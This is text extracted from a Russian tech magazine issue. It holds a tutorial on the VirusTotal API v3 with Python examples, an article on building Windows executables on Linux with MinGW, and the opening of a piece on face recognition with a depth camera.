рой —  даже  с  исполь зовани ем  бес плат ного  клю ча.  Более  того,  при  экспе‐ 
римен тах с треть ей вер сией я не заметил, что бы огра ничи валось чис ло заг‐ 
ружа емых  объ ектов  (фай лов  или  адре сов)  на  сер вер  в  течение  минуты.
Похоже, огра ниче ния в бете пока вооб ще не дей ству ют.

Фун кции  треть ей  вер сии  API  спро екти рова ны  с  исполь зовани ем  прин‐ 
ципов    и  прос ты  для  понима ния.  Ключ  дос тупа  здесь  переда ется
в заголов ке зап роса.

REST

Ошиб ки
В  треть ей  вер сии  API  спи сок  оши бок  (и,  соот ветс твен но,  кодов  сос тояния
HTTP) рас ширил ся. Были добав лены:

401  —  ошиб ка  типа  User  Not  Active  Error,  она  воз ника ет,  ког да  учет ная
запись поль зовате ля неак тивна;

•

401  —  ошиб ка  типа  Wrong  Credentials  Error,  воз ника ет,  если  в  зап росе
исполь зован невер ный ключ дос тупа;

•

404  Not  Found  Error  воз ника ет,  ког да  зап рашива емый  объ ект  ана лиза
не най ден;

•

409 — ошиб ка типа Already Exists Error, воз ника ет, ког да ресурс уже сущес‐ 
тву ет;

•

429  —  ошиб ка  типа  Quota  Exceeded  Error,  воз ника ет  при  пре выше нии
одной  из  квот  на  чис ло  зап росов  (минут ной,  ежед невной  или  еже месяч‐ 
ной). Как я уже говорил, во вре мя моих экспе римен тов никаких огра ниче‐ 
ний по количес тву зап росов в минуту не наб людалось, хотя я исполь зовал
бес плат ный ключ;

•

429 — ошиб ка типа Too Many Requests Error, воз ника ет при боль шом чис ле
зап росов  за  корот кое  вре мя  (может  быть  выз вана  заг ружен ностью  сер‐ 
вера);

•

503  —  ошиб ка  типа  Transient  Error,  вре мен ная  ошиб ка  сер вера,
при которой пов торная попыт ка зап роса может сра ботать.

•

В слу чае ошиб ки, помимо кода сос тояния, сер вер воз вра щает допол нитель‐ 
ную информа цию в фор ме JSON. Прав да, как выяс нилось, не для всех кодов
сос тояния  HTTP:  к  при меру,  для  ошиб ки  404  допол нитель ная  информа ция
пред став ляет собой обыч ную стро ку.

Фор мат JSON для ошиб ки сле дующий:

{
 "error": {
   "code": "<код состояния HTTP>",
   "message": "<сообщение с описанием ошибки>"
 }

}

Фун кции работы с фай лами
Третья вер сия API поз воля ет:

заг рузить фай лы для ана лиза на сер вер;•
по лучить URL для заг рузки на сер вер фай ла раз мером боль ше 32 Мбайт;•
по лучить отче ты о резуль татах ана лиза фай лов;•
пов торно про ана лизи ровать файл;•
по лучить ком мента рии поль зовате лей VirusTotal к нуж ному фай лу;•
от пра вить свой ком мента рий к опре делен ному фай лу;•
пос мотреть резуль таты голосо вания по опре делен ному фай лу;•
про голо совать за файл;•
по лучить рас ширен ную информа цию о фай ле.•

Для  заг рузки  фай ла  на  сер вер  нуж но  его  отпра вить  через  POST‐зап рос.
Это мож но сде лать так:

... 
api_url = 'https://www.virustotal.com/api/v3/files'
headers = {'x‐apikey' : '<ключ доступа к API>'}
with open('<путь к файлу>', 'rb') as file:
 files = {'file': ('<путь к файлу>', file)}
 response = requests.post(api_url, headers=headers, files=files)

...

В ответ мы получим сле дующее:

{
 "data": {
   "id": "ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NzI
xOTQ1Mg==",
   "type": "analysis"
 }

}

Здесь мы видим зна чение  , которое слу жит иден тифика тором фай ла. Этот
иден тифика тор  нуж но  исполь зовать  для  получе ния  информа ции  об  ана лизе
фай ла в GET‐зап росах типа   (об этом мы погово рим чуть поз же).

id

/analyses
Что бы получить URL для заг рузки боль шого фай ла (более 32 Мбайт), нуж‐ 

но  отпра вить GET‐зап рос,  в  котором  в  качес тве  URL  ука зыва ется 
.  В  заголо вок  встав ляем

ключ дос тупа:

https://
www.virustotal.com/api/v3/files/upload_url

...
api_url = 'https://www.virustotal.com/api/v3/files/upload_url'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

В  ответ  получим  JSON  с  адре сом,  по  которо му  сле дует  заг рузить  файл
для ана лиза. Получен ный URL при этом мож но исполь зовать толь ко один раз.

Что бы получить информа цию о фай ле, который сер вис уже ана лизи ровал,
нуж но сде лать GET‐зап рос с иден тифика тором фай ла в URL (им может быть
хеш SHA‐256, SHA‐1 или MD5). Так же как и в пре дыду щих слу чаях, ука зыва ем
в заголов ке ключ дос тупа:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

В ответ мы  получим отчет  о  про вер ке фай ла,  где,  помимо резуль татов  ска‐ 
ниро вания  все ми  анти виру сами  VirusTotal,  будет  мно го  допол нитель ной
информа ции,  сос тав  которой  зависит  от  типа  про верен ного  фай ла.  Нап‐ 
ример,  для  исполня емых фай лов мож но  уви деть  информа цию о  таких  атри‐ 
бутах:

{
 "attributes": {
   "authentihash": "8fcc2f670a166ea78ca239375ed312055c74efdc1f
47e79d69966461dd1b2fb6",
   "creation_date": 1270596357,
   "exiftool": {
     "CharacterSet": "Unicode",
     "CodeSize": 20480,
     "CompanyName": "TYV",
     "EntryPoint": "0x109c",
     "FileFlagsMask": "0x0000",
     "FileOS": "Win32",
     "FileSubtype": 0,
     "FileType": "Win32 EXE",
     "FileTypeExtension": "exe",
     "FileVersion": 1.0,
     "FileVersionNumber": "1.0.0.0",
     "ImageFileCharacteristics": "No relocs, Executable, No line 
numbers, No symbols, 32‐bit",
     ...
     ...
     "SubsystemVersion": 4.0,
     "TimeStamp": "2010:04:07 00:25:57+01:00",
     "UninitializedDataSize": 0
   },
   ...
 }

}

Или, нап ример, информа цию о сек циях исполня емо го фай ла:

{
 "sections": [
   {
     "entropy": 3.94,
     "md5": "681b80f1ee0eb1531df11c6ae115d711",
     "name": ".text",
     "raw_size": 20480,
     "virtual_address": 4096,
     "virtual_size": 16588
   },
   {
     "entropy": 0.0,
     "md5": "d41d8cd98f00b204e9800998ecf8427e",
     "name": ".data",
     "raw_size": 0,
     "virtual_address": 24576,
     "virtual_size": 2640
   },
   ...
 }

}

Ес ли  файл  ранее  не  заг ружал ся  на  сер вер  и  еще  не  ана лизи ровал ся,  то
в  ответ  мы  получим  ошиб ку  типа  Not  Found  Error  с  HTTP‐кодом  сос тояния,
рав ным 404:

{
 "error": {
   "code": "NotFoundError",
   "message": "File \"<идентификатор файла>" not found"
 }
}

Что бы  пов торно  про ана лизи ровать файл,  нуж но  так же  отпра вить  на  сер вер
GET‐зап рос,  в  котором  в  URL  помеща ем  иден тифика тор  фай ла,  а  в  кон це
добав ляем  :/analyse

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/analyse'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

От вет будет вклю чать в себя такой же дес крип тор фай ла, как и в пер вом слу‐ 
чае — при заг рузке фай ла на сер вер. И так же, как и в пер вом слу чае, иден‐ 
тифика тор  из  дес крип тора мож но  исполь зовать  для  получе ния  информа ции
об ана лизе фай ла через GET‐зап рос типа  ./analyses

Прос мотреть  ком мента рии  поль зовате лей  сер виса,  а  так же  резуль таты
голосо вания  по  фай лу  мож но,  отпра вив  на  сер вер  соот ветс тву ющий  GET‐
зап рос. Для получе ния ком мента риев:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/comments'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

Для получе ния резуль татов голосо вания:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/votes'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

В обо их слу чаях мож но исполь зовать допол нитель ный параметр  , опре‐ 
деля ющий  мак сималь ное  количес тво  ком мента риев  или  голосов  в  отве те
на зап рос. Исполь зовать этот параметр мож но, нап ример, так:

limit

...
limit = {'limit': str(<число голосов в ответе>)}
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/votes'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers, params=limit)
...

Что бы  раз местить  свой  ком мента рий  или  про голо совать  за  файл,  соз даем
POST‐зап рос, а ком мента рий или голос переда ем как объ ект JSON:

...
# Для отправки результатов голосования
votes = {'data': {'type': 'vote', 'attributes': {'verdict': <'malici
ous' или 'harmless'>}}}
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/votes'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers, json=votes)
...
# Для отправки комментария
comments = {'data': {'type': 'vote', 'attributes': {'text': <текст 
комментария>}}}
headers = {'x‐apikey' : '<ключ доступа к API>'}
api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/comments'
response = requests.post(api_url, headers=headers, json=comments)
...

Что бы  получить  допол нитель ную  информа цию  о  фай ле,  мож но  зап росить
под робнос ти  о  свя зан ных  с  ним  объ ектах.  В  дан ном  слу чае  объ екты  могут
харак теризо вать, нап ример, поведе ние фай ла (объ ект  ) или URL,
IP‐адре са, домен ные име на (объ екты  ,  , 

).

behaviours
contacted_urls contacted_ips con‐

tacted_domains
Ин терес нее все го объ ект  . К при меру, для исполня емых фай‐ 

лов он будет вклю чать в себя информа цию о заг ружа емых модулях, соз дава‐ 
емых и запус каемых про цес сах, опе раци ях с фай ловой сис темой и реес тром,
сетевых опе раци ях.

behaviours

Что бы получить эту информа цию, отправ ляем GET‐зап рос:

api_url = 'https://www.virustotal.com/api/v3/files/<значение 
идентификатора файла>/behaviours'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

В отве те будет объ ект JSON с информа цией о поведе нии фай ла:

{
 "data": [
   {
     "attributes": {
       "analysis_date": 1548112224,
       "command_executions": [
         "C:\\WINDOWS\\system32\\ntvdm.exe ‐f ‐i1",
         "/bin/bash /private/tmp/eicar.com.sh"
       ],
       "has_html_report": false,
       "has_pcap": false,
       "last_modification_date": 1577880343,
       "modules_loaded": [
         "c:\\windows\\system32\\user32.dll",
         "c:\\windows\\system32\\imm32.dll",
         "c:\\windows\\system32\\ntdll.dll"
       ]
     },
     ...
   }
 ]

}

Фун кции для работы с URL
В спи сок воз можных опе раций с URL вхо дят:

от прав ка URL на сер вер для ана лиза;•
по луче ние информа ции об URL;•
ана лиз URL;•
по луче ние ком мента риев поль зовате лей VirusTotal по нуж ному URL;•
от прав ка сво их ком мента риев по опре делен ному URL;•
по луче ние резуль татов голосо вания по опре делен ному URL;•
от прав ка сво его голоса за какой‐либо URL;•
по луче ние рас ширен ной информа ции о URL;•
по луче ние информа ции о домене или IP‐адре се нуж ного URL.•

Боль шая часть ука зан ных опе раций (за исклю чени ем пос ледней) выпол няет‐ 
ся  ана логич но  таким  же  опе раци ям  с  фай лами.  При  этом  в  качес тве  иден‐ 
тифика тора  URL  могут  выс тупать  либо  стро ка  с  URL,  закоди рован ная
в Base64 без добавоч ных зна ков «рав но», либо хеш SHA‐256 от URL. Реали‐ 
зовать это мож но так:

# Для Base64
import base64
...
id_url = base64.urlsafe_b64encode(url.encode('utf‐8')).decode('utf‐8'
).rstrip('=')
...
# Для SHA‐256
import hashlib
...
id_url = hashlib.sha256(url.encode()).hexdigest()

Что бы отпра вить URL для ана лиза, нуж но исполь зовать POST‐зап рос:

data = {'url': '<строка с именем URL>'}
api_url = 'https://www.virustotal.com/api/v3/urls'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers, data=data)

В ответ мы уви дим дес крип тор URL (по ана логии с дес крип тором фай ла):

{
 "data": {
   "id": "u‐1a565d28f8412c3e4b65ec8267ff8e77eb00a2c76367e653be7
74169ca9d09a6‐1577904977",
   "type": "analysis"
 }

}

Иден тифика тор    из  это го  дес крип тора  исполь зуем  для  получе ния
информа ции об ана лизе фай ла через GET‐зап рос  типа    (об этом
зап росе бли же к кон цу статьи).

id
/analyses

По лучить информа цию о доменах или IP‐адре сах, свя зан ных с каким‐либо
URL, мож но, при менив GET‐зап рос типа    (здесь исполь‐ 
зуем Base64 или SHA‐256 иден тифика тор URL):

/network_location

api_url = 'https://www.virustotal.com/api/v3/urls/<идентификатор 
URL (Base64 или SHA‐256)>/network_location'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers)

Ос таль ные опе рации с URL выпол няют ся так же, как и ана логич ные опе рации
работы с фай лами.

Фун кции работы с домена ми и IP-адре сами
Этот спи сок фун кций вклю чает в себя:

по луче ние информа ции о домене или IP‐адре се;•
по луче ние  ком мента риев  поль зовате лей  VirusTotal  по  нуж ному  домену
или IP‐адре су;

•

от прав ку сво их ком мента риев по опре делен ному домену или IP‐адре су;•
по луче ние  резуль татов  голосо вания  по  опре делен ному  домену  или  IP‐
адре су;

•

от прав ку голоса за домен или IP‐адрес;•
по луче ние рас ширен ной информа ции о домене или IP‐адре се.•

Все  эти опе рации реали зуют ся  ана логич но  таким же опе раци ям с фай лами
либо с URL. Отли чие в том, что здесь исполь зуют ся непос редс твен но име на
доменов или зна чения IP‐адре сов, а не их иден тифика торы.

Нап ример,  получить  информа цию  о  домене    мож но  таким
обра зом:

www.xakep.ru

api_url = 'https://www.virustotal.com/api/v3/domains/www.xakep.ru'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

А,  к  при меру,  пос мотреть  ком мента рии  по  IP‐адре су  178.248.232.27 —  вот
так:

api_url = 'https://www.virustotal.com/api/v3/ip_addresses/178.248.
232.27/comments'
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

GET-зап рос типа /analyses
Та кой зап рос поз воля ет получить информа цию о резуль татах ана лиза фай лов
или  URL  пос ле  их  заг рузки  на  сер вер  или  пос ле  пов торно го  ана лиза.
При этом необ ходимо исполь зовать иден тифика тор, содер жащий ся в поле 
дес крип тора  фай ла,  или  URL,  получен ные  в  резуль тате  отправ ки  зап росов
на заг рузку фай ла или URL на сер вер либо в резуль тате пов торно го ана лиза
фай ла или URL.

id

Нап ример, сфор мировать подоб ный зап рос для фай ла мож но вот так:

TEST_FILE_ID = 'ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NjY
wMTE1Ng=='
...
api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST_F
ILE_ID
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

И вари ант для URL:

TEST_URL_ID = 'u‐dce9e8fbe86b145e18f9dcd4aba6bba9959fdff55447a8f9914
eb9c4fc1931f9‐1576610003'
...
api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST_U
RL_ID
headers = {'x‐apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

ЗАКЛЮЧЕНИЕ
Мы прош лись по всем основным фун кци ям API сер виса VirusTotal. Ты можешь
поза имс тво вать при веден ный код для сво их про ектов. Если исполь зуешь вто‐ 
рую  вер сию,  понадо бит ся  сле дить  за  тем,  что бы  не  отправ лять  зап росы
слиш ком  час то,  но  в  треть ей  вер сии  такого  огра ниче ния  пока  что  нет.
Рекомен дую выб рать имен но ее,  пос коль ку и  воз можнос ти  здесь  тоже нам‐ 
ного шире. К тому же рано или поз дно она ста нет основной.

WWW

•Под робное опи сание вто рой вер сии API
•Справ ка по API v3
•Ис ходни ки из статьи для вто рой вер сии API
•Ва риант при меров для треть ей вер сии



CYGWIN 
MINGW?

ИЛИ

СОБИРАЕМ ПРОГРАММЫ ДЛЯ WINDOWS
БЕЗ WINDOWS

Даниил Батурин
Координатор проекта VyOS
(https://vyos.io), «языковед»,
функциональщик, иногда
сетевой администратор

daniil@baturin.org

КОДИНГ

Боль шая  часть  раз работ чиков  сво бод ного
соф та работа ет на Linux или Mac, а вот под‐ 
дер жка  Windows  обыч но  реали зова на
по  оста точ ному  прин ципу.  Зарабо тало  —
хорошо, не зарабо тало — пус кай пор тиру ет
тот, кому это нуж но. Я покажу, как соз давать
натив ные  исполня емые  фай лы  для  Win‐
dows, не имея этой сис темы под рукой.

В  общем‐то,  даже  в Microsoft  уже  приз нали  проб лему  и  сде лали WSL  (Win‐
dows Subsystem for Linux), что бы запус кать те при ложе ния, у которых натив ных
вер сий  под  Windows  нет.  Одна ко  если  ты  хочешь  сде лать  свою  прог рамму
дос тупной  для  широкой  ауди тории,  то  WSL  вов се  не  панацея,  пос коль ку
у сред него поль зовате ля эта сис тема вряд ли уста нов лена и у натив ных при‐ 
ложе ний воз можнос тей для интегра ции с Windows все рав но боль ше.

Во мно гих слу чаях камень прет кно вения — не сам код прог раммы, а сис‐ 
тема  сбор ки.  Если  ты  исполь зуешь  кросс‐плат формен ные  биб лиоте ки  и  не
вызыва ешь  спе цифич ные  фун кции  POSIX,  пор тирова ние  может  вооб ще
не тре бовать ся. Глав ное — соб рать исполня емые фай лы.

Сбор ка‐то  обыч но  и  зависит  от  окру жения  POSIX.  Если  ты  исполь зуешь
GNU  autotools,  то  скрипт    у  тебя  на  Bourne  shell.  CMake  и  ряд
дру гих сис тем сбор ки уме ют генери ровать скрип ты под целевую ОС, но оста‐ 
ется пос ледняя «малень кая» проб лема — нуж на проп риетар ная и не бес плат‐ 
ная ОС. Есть вари ант перело жить  задачу ее раз верты вания и лицен зирова‐ 
ния  на  кого‐то  дру гого  и  обра тить ся  к  сер вису  вро де  ...  Но  мож но
вмес то  это го  вос поль зовать ся  спо соб ностью  GCC  к  кросс‐ком пиляции
и собирать прог раммы на хос те с Linux (или macOS).

./configure

Appveyor

GNU И WINDOWS
Для сбор ки прог рамм с помощью GNU toolchain на Windows час то исполь зуют
два про екта: Cygwin и MinGW + MSYS. У них схо жие цели, но раз ные детали
реали зации. Давай раз бирать ся.

Cygwin
 — самая пол ная реали зация окру жения GNU для Windows. Он пре дос‐ 

тавля ет боль шую часть POSIX API в виде биб лиоте ки, что поз воля ет собирать
прог раммы из UNIX без пор тирова ния, если  толь ко им не  тре бует ся семан‐ 
тика UNIX. Яркий при мер — демоны, им нужен   и сиг налы, которых нет
в Windows, да и служ бы Windows устро ены сов сем ина че.

Cygwin

fork()

Кро ме  биб лиоте ки,  дис три бутив  содер жит  набор  клас сичес ких  команд
UNIX и тер минал. Реали зации команд исполь зуют эту биб лиоте ку и под держи‐ 
вают некото рые воз можнос ти UNIX, такие как регис тро зави симые име на фай‐ 
лов.

Це левой спо соб исполь зования: если нет желания или воз можнос ти пор‐ 
тировать  прог рамму  на  Windows  или  исполь зовать  толь ко  плат формен но
незави симые  API,  ее  мож но  соб рать  «под  Cygwin»,  ценой  зависи мос ти
от   и отно ситель ной изо ляции от всей осталь ной сис темы.cygwin1.dll

Мно гие  люди  ста вили  и  про дол жают  ста вить  окру жение  Cygwin,  что бы
иметь  воз можность  исполь зовать  клас сичес кие  коман ды  UNIX  на  Windows.
Некото рые  раз работ чики  так же  вклю чают  Cygwin  в  инс трук ции  для  сбор ки
сво их  прог рамм  под Windows,  хотя  сама  прог рамма  не  свя зыва ется  с 

. Для этой цели может быть более пра виль но исполь зовать MSYS.
cyg‐

win1.dll

MinGW и MSYS
Ес ли  цель Cygwin —  сде лать  воз можной  сбор ку  немоди фици рован ных  при‐ 
ложе ний на Windows ценой внеш ней зависи мос ти, то цель 
про изво дить при ложе ния без внеш них зависи мос тей.

MinGW + MSYS —

 и   — это незави симые пакеты, но их час то пута ют и сме шива‐ 
ют друг с дру гом  (а  час то пута ют и с Cygwin). Мож но ска зать,  что MinGW —
это экви валент GCC и binutils, а MSYS — рас ширен ный экви валент coreutils.

MinGW MSYS

Нач нем  с  MSYS.  MSYS  —  это  более  «натив ная»  и  лег ковес ная  аль тер‐ 
натива  Cygwin.  Этот  пакет  вклю чает  биб лиоте ку  с  реали заци ями  фун кций
POSIX, но она пред назна чена для внут ренне го поль зования, и авто ры катего‐ 
ричес ки не рекомен дуют свя зывать с ней свои при ложе ния.

Биб лиоте ка  MSYS  не  реали зует  UNIX  поверх  Windows,  а  сле дует  сог‐ 
лашени ям  Windows  —  к  при меру,  соз натель но  не  учи тыва ет  регистр  букв
в путях к фай лам. Глав ная цель MSYS — пре дос тавить нуж ные для скрип тов
сбор ки прог раммы вро де Bourne shell, make и про чее, что обыч но тре бует ся
для autotools.

MinGW  содер жит  вер сии  GCC  и  binutils  (ассем блер  as,  ком понов щик  ld
и  так  далее),  которые  про изво дят  исполня емые фай лы  для Windows  в фор‐ 
мате PE/COFF. Здесь мы и под ходим к клю чево му момен ту: MinGW, как и все
осталь ные час ти GNU toolchain, такой же плат формен но незави симый про ект.

Кросс‐ком пиляция  в  GNU  toolchain  уже  дав но  обыч ное  дело,  и  в  GCC
целевая плат форма и хост незави симы друг от дру га. Мож но запус кать GCC
на Linux для x86 и собирать прог раммы для Linux на ARM, или наобо рот. Сов‐ 
падать  не  обя заны  не  толь ко  рабочая  и  целевая  архи тек туры  про цес сора.
Точ но так же не обя заны сов падать даже ОС и фор мат исполня емо го фай ла.

СТАВИМ MINGW
Ав торы мно гих дис три бути вов GNU/Linux уже пос тарались за нас, так что мно‐ 
гие кросс‐вер сии GCC, вклю чая MinGW, мож но пос тавить из репози тори ев.

Нап ример, в Fedora:

$ sudo dnf install mingw32‐gcc
$ sudo dnf install mingw64‐gcc

Или в Debian:

$ sudo apt‐get install gcc‐mingw‐w64‐i686
$ sudo apt‐get install gcc‐mingw‐w64‐x86‐64

Ес ли ты исполь зуешь macOS, то MinGW мож но пос тавить из  : 
.

Homebrew brew 
install mingw‐w64

INFO

,  нес мотря  на  наз вание,  под держи‐ 
вает и Win32, и Win64. Это форк MinGW, который
соз дали в пер вую оче редь для реали зации недос‐ 
тающей  в  ори гиналь ном  про екте  под дер жки
Win64, отсю да и наз вание.

MinGW‐w64

В  Fedora  так же  при сутс тву ет  ряд  готовых  кросс‐вер сий  популяр ных  биб‐ 
лиотек, нап ример  .mingw32‐qt

HELLO WORLD
Для демонс тра ции  соберем  тра дици онный hello world.  У  кросс‐вер сий GCC
всег да есть пре фикс, для MinGW исполь зуют ся пре фик сы 
и  .

i686‐w64‐mingw32
x86_64‐w64‐mingw32

$ cat ./hello.c 
#include <stdio.h>

int main(void){
 printf("hello world\n");

}

$ i686‐w64‐mingw32‐gcc ‐o hello32 ./hello.c 
$ file ./hello32.exe
./hello32.exe: PE32 executable (console) Intel 80386, for MS Windows

Тес тирова ние  кросс‐ком пилиро ван ных  прог рамм  для  дру гих  архи тек тур  —
неп ростая задача, но, пос коль ку наша целевая плат форма — Windows на x86,
мы лег ко можем про тес тировать их в Wine:

$ wine 2>/dev/null ./hello32.exe 
hello world

$ x86_64‐w64‐mingw32‐gcc ‐o hello64 ./hello.c
$ file ./hello64.exe
./hello64.exe: PE32+ executable (console) x86‐64, for MS Windows

$ wine64 2>/dev/null ./hello64.exe 
hello world

Та кие же пре фик сы исполь зуют прог раммы из binutils. Нап ример, что бы уда‐ 
лить  отла доч ные  сим волы  из  нашего  фай ла,  мы  дол жны  исполь зовать
не   (который на Linux по умол чанию, оче вид но, работа ет с фай лами ELF,
а не PE/COFF), а  :

strip
x86_64‐w64‐mingw32‐strip

$ x86_64‐w64‐mingw32‐strip ./hello64.exe
$ file ./hello64.exe
./hello64.exe: PE32+ executable (console) x86‐64 (stripped to 
external PDB), for MS Windows

ДОБАВЛЯЕМ РЕСУРСЫ
Ка кое  при ложе ние  для  Windows  обхо дит ся  без  знач ка?  В  мире  UNIX  такое
дела ется с помощью внеш них фай лов, но в Windows более популяр ны встро‐ 
енные в исполня емый файл ресур сы.

Возь мем  какой‐нибудь  файл  в  фор мате  ICO  (назовем  его  )
и пос мотрим, как встро ить его в при ложе ние.

icon.ico

В сос тав MinGW вхо дит ком пилятор ресур сов windres. Пос коль ку ресур сы
ком пилиру ются в объ ектные фай лы PE/COFF, как и все про чие инс тру мен ты,
он  сущес тву ет  в  32‐  и  64‐раз рядных  вер сиях: 
и  .

i686‐w64‐mingw32‐windres
x68_64‐w64‐mingw32‐windres
1. Соз дать  файл  ресур са  ( )  вруч ную  в  тек сто вом  редак торе  или  с
помощью редак тора ресур сов.

*.rc

2. Ском пилиро вать его в PE/COFF с помощью windres.
3. Ском пилиро вать саму прог рамму  .gcc c

4. Ском поновать готовый исполня емый файл.

По шагам для 32‐раз рядной вер сии:

$ cat ./icon.rc 
id ICON "icon.ico"

$ i686‐w64‐mingw32‐windres ‐o icon_resource.o ./icon.rc
$ i686‐w64‐mingw32‐gcc ‐c ‐o hello32.o ./hello.c
$ i686‐w64‐mingw32‐gcc  ‐o hello32 ./hello32.o ./icon_resource.o

Ес ли ско пиро вать   на Windows или прос мотреть его в 
, мож но убе дить ся, что у него теперь есть зна чок.

hello32.exe wine ex‐
plorer.exe

РЕАЛИСТИЧНЫЕ ПРИМЕРЫ
На прак тике от игру шеч ного при мера из одно го фай ла мало поль зы. В качес‐ 
тве реалис тично го при мера с autotools возь мем  .GNU hello

Скрипт  ,  соз дава емый  autotools,  под держи вает  опцию 
, что силь но упро щает дело. В этой опции нуж но ука зать пре фикс архи‐ 

тек туры,  в  нашем  слу чае    для  32‐раз рядной  вер сии
или  ,  и  make  авто мати чес ки  добавит  этот  пре фикс
ко всем задей ство ван ным инс тру мен там (GCC, ld...).

./configure ‐‐
host

i686‐w64‐mingw32
x86_64‐w64‐mingw32

Что бы  пока  не  зат рагивать  уста нов ку  кросс‐вер сии  ,  отклю чим
под дер жку  интерна циона лиза ции  с  помощью    и  запус тим
сбор ку:

gettext
‐‐disable‐nls

$ ./configure ‐‐host=i686‐w64‐mingw32 ‐‐disable‐nls
$ make
$ wine 2>/dev/null ./hello.exe 
Hello, world!

GNU  hello  —  это  все  еще  игрушка,  пусть  и  слож но  устро енная.  Соберем
теперь полез ную прог рамму — обра бот чик Markdown  .cmark

Здесь  про цеду ры  нем ного  слож нее.  На  момент  написа ния  этой  статьи
авто ры исполь зовали cmake и захар дко дили там   исполня‐ 
емо го фай ла MinGW.

нес тандар тное имя

Од нако если пой ти в   и поменять все 
 на  , то   отлично сра бота ет:

toolchain‐mingw32.cmake i586‐ming‐
w32msvc i686‐w64‐mingw32 make mingw

$ sed ‐i 's/i586‐mingw32msvc/i686‐w64‐mingw32/g' toolchain‐mingw32.
cmake
$ make mingw
$ echo "**bold text**" | wine 2>/dev/null build‐mingw/windows/bin/
cmark.exe 
<p><strong>bold text</strong></p>

ЗАКЛЮЧЕНИЕ
Как  видишь,  сде лать  прог рамму  дос тупной  поль зовате лям  Windows  впол не
реаль но,  даже  если  ты  сам  пред почита ешь  обхо дить  Windows  сто роной.
Единс твен ный недос таток — при дет ся собирать все биб лиоте ки, если авто ры
репози тори ев пакетов для тво ей ОС их не пре дос тавля ют.

Про ект    пред лага ет  скрип ты  сбор ки  для  популяр ных  биб лиотек  и  в
целом дела ет про цеду ру  кросс‐ком пиляции про ще. Как луч ше орга низо вать
сбор ку — зависит от тво его при ложе ния, но осно вы тебе теперь извес тны, и с
деталя ми ты смо жешь разоб рать ся сам.

MXE
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В Гон конге про тес тующие   улич ные камеры, что‐ 
бы  избе жать  рас позна вания  лиц.  Неуже ли  эта  тех нология
уже  нас толь ко  эффектив на,  что  с  ней  нуж но  бороть ся?  Я
купил камеру с дат чиком глу бины, что бы поп робовать самос‐ 
тоятель но  реали зовать  алго ритм  срав нения  лиц.  Вот  что
у меня получи лось.

унич тожа ют

ЗАЧЕМ НУЖНА АУТЕНТИФИКАЦИЯ ПО ЛИЦУ
Су щес тву ет  нес коль ко  вари антов  аутен тифика ции  с  помощью  биомет рии,
и каж дый из них име ет свои недос татки.
1. Иден тифика ция  по  отпе чат ку  паль ца.  Об  этом  спо собе  я  писал  в  статье
«

».  Глав ный  недос таток  иден тифика ции
по  отпе чат ку  паль ца  —  срав нитель но  неболь шая  точ ность.  Отпе чаток
паль ца лег ко под делать, осо бен но если ска нер сла бый.

Вол шебные «паль чики». Как работа ют механиз мы биомет ричес кой авто‐ 
риза ции  по  отпе чат ку  паль ца

2. От печаток  голоса.  Наш  голос  мож но  раз бить  на  мно жес тво  уни каль ных
харак терис тик. Под робнее об этом ты можешь узнать в статье «

».  Но  и  этот
метод весь ма неточен: из‐за болез ни или курения уни каль ные харак терис‐ 
тики голоса могут изме нить ся, и твой девайс тебя уже не узна ет.

Ма шин ный
слух.  Как  работа ет  иден тифика ция  челове ка  по  его  голосу

3. Ска неры  сет чатки  и  радуж ки  гла за.  Они  исполь зуют  слож ные  алго рит мы
и  дорогос тоящие  гро моз дкие  при боры  для  ска ниро вания.  В  сред нем
надеж ность  таких  аппа ратов  выше,  чем  у  более  прос тых  в  реали зации
устрой ств.  Но  и  сто имость  таких  ска неров  соот ветс тву ющая:  базовые
модели про дают ся по цене от пят надца ти тысяч руб лей.

4. Иден тифика ция по трех мерно му изоб ражению лица. Этот метод ста новит‐ 
ся  все  популяр нее  из‐за  выгод ного  соот ношения  цены  и  качес тва.  3D‐
камеры работа ют  в  раз ном диапа зоне  даль нос ти,  поэто му  сис темы рас‐ 
позна вания  и  иден тифика ции  лица  могут  быть  незамет ными  и  не  тре‐ 
бовать никаких дей ствий от челове ка. Точ ность ана лиза повер хнос ти лица
высока, так что все зависит толь ко от раз решения камеры.

КАМЕРА
Я  выб рал  недоро гую,  но  при  этом  фун кци ональ ную  камеру 

,  которая  может  сни мать  и  цвет ное  изоб ражение,  и  глу бин ное  изоб‐ 
ражение в раз решении 640 на 480 пик селей с час тотой до 60 кад ров в секун‐ 
ду.

Intel  RealSense
SR305

Что бы получать  трех мерное изоб ражение,  камера исполь зует малень кий
инфрак расный излу чатель, который про еци рует рав номер ные линии на пред‐ 
